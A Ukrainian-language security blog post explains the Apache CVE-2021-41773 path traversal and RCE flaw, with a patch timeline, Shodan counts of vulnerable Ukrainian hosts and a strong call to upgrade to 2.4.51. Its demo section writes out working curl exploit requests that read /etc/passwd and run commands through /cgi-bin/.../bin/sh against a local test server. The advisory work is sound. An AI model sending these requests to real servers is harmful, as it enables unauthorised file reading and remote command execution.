“поранений” Apache або CVE-2021-41773

update#1 – 11/10 додано свіжу статистику Shodan по версіям Apache

update#2 – 13/10 додано динаміку оновлень за даними Shodan

Коротко:

У популярному web сервері Apache версії 2.4.49 було виявлено вразливість CVE-2021-41773 типу path traversal яка може переходити у RCE. При нестандартній конфігурації (Require all granted) та активованому mod-cgi Linux та Windows сервери з Apache (версій 2.4.49-2.4.50) вразливі до спеціальних GET/POST запитів, через які зловмисники можуть витягувати інформацію з файлової системи або запускати довільний код.

Увага!

Важливо чітко розуміти, що небезпеку становлять не лише опубліковані в інтернет, а й внутрішні  сервери з Apache версій 2.4.49-2.4.50 (консолі керування, документообіг тощо). Потрібно оновити усі наявні Apache і за можливості переглянути їх конфігурацію, аби ця вразливість не стала способом lateral movement для зловмисників, які вже мають закріплення в середині мережі.

Хронологія:

29/09 – розробників повідомляють про вразливість у версії 2.4.49

04/10 – виходить оновлення 2.4.50

05/10 – в мережі з’являються PoC, вразливість починають використовувати

06/10 – дослідники виявляють можливість RCE

07/10 – дослідники виявлять, що оновлення 2.4.50 можна обійти, виходить 2.4.51

08/10 – ви знаходитесь тут 

Що робити:

Якщо у вас є сервери з Apache 2.4.49 чи 2.4.50 – байдуже чи опубліковані в Інтернет чи ні, вам потрібно як можна швидше оновити їх до 2.4.51

Кому кортить власноруч перевірити власні сервери – обирайте з великої кількості PoC.

Дані Shodan по українському сегменту:

(Це статистика станом на ранок 8 жовтня)

  • Total hosts:      1,908,257
  • Total Apache:   124,741
  • 2.4.49:     576     [ country:UA product:”Apache httpd” version:”2.4.49″ ]
  • 2.4.50:     23      [ country:UA product:”Apache httpd” version:”2.4.50″ ]
  • 2.4.51:     0        [ country:UA product:”Apache httpd” version:”2.4.51″ ]

Як можна помітити, за 48 годин з моменту як стало відомо про вразливість 2.4.49, лише 23 сервери були оновлені до 2.4.50 (який на жаль, теж виявився дірявим). Потрібно оновлювати Apache до 2.4.51, але таких в UAIX поки Shodan не фіксує…

 

Станом на 11 жовтня ситуація за даними Shodan наступна:

  • 2.4.49:     439 (-137)     [ country:UA product:”Apache httpd” version:”2.4.49″ ]
  • 2.4.50:     55 (+32)      [ country:UA product:”Apache httpd” version:”2.4.50″ ]
  • 2.4.51:     47 (+47)        [ country:UA product:”Apache httpd” version:”2.4.51″ ]

update#2

цифри станом на 12 жовтня:

  • 2.4.49:    399 (-40)     [ country:UA product:”Apache httpd” version:”2.4.49″ ]
  • 2.4.50:    55 (=)      [ country:UA product:”Apache httpd” version:”2.4.50″ ]
  • 2.4.51:    80 (+33)        [ country:UA product:”Apache httpd” version:”2.4.51″ ]

цифри станом на 13 жовтня:

  • 2.4.49:    365 (-34)     [ country:UA product:”Apache httpd” version:”2.4.49″ ]
  • 2.4.50:    56 (+1)      [ country:UA product:”Apache httpd” version:”2.4.50″ ]
  • 2.4.51:    115 (+35)        [ country:UA product:”Apache httpd” version:”2.4.51″ ]

Як це виглядає:

Взяв те, що було під рукою – відносно свіжий реліз Kali, Apache 2.4.49

За специфічних умов (Require all granted + mod-cgi enabled) спеціальними запитами можна змусити веб сервер вивести зміст файлів або ж виконати команду.

Приклад запитів:

curl http://localhost/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd

curl ‘localhost:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh’ -d ‘A=|echo;id’

curl -s –path-as-is “http://127.0.0.1/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd”


curl -s --path-as-is -d 'echo Content-Type: text/plain; echo; id' "http://127.0.0.1/cgi-bin/.%2e/%2e%2e/%2e%2e/bin/sh"

ще один варіант:

# curl ‘http://127.0.0.1/.%%32%65/.%%32%65/bin/sh’ –data ‘echo Content-type: text/plain; echo; id’

Чому це критично?

Зчитування файлів (path traversal)

Виконання команд (RCE)

Вразливість також актуальна для Apache під Windows

Запуск інтерактивного shell через вразливість Apache

 

Перелік корисних джерел:

Будьте здорові, уважні та обережні.

VR

Tags: , , , ,

About Vlad

My name is Vlad. From 2016 I am Technical Lead of OptiData team. I do implementation and support of Trellix (McAfee) solutions. I like dynamic malware analysis. Also I make education courses for our customers. pastebin.com/u/VRad slideshare.net/Glok17 VR

Leave a comment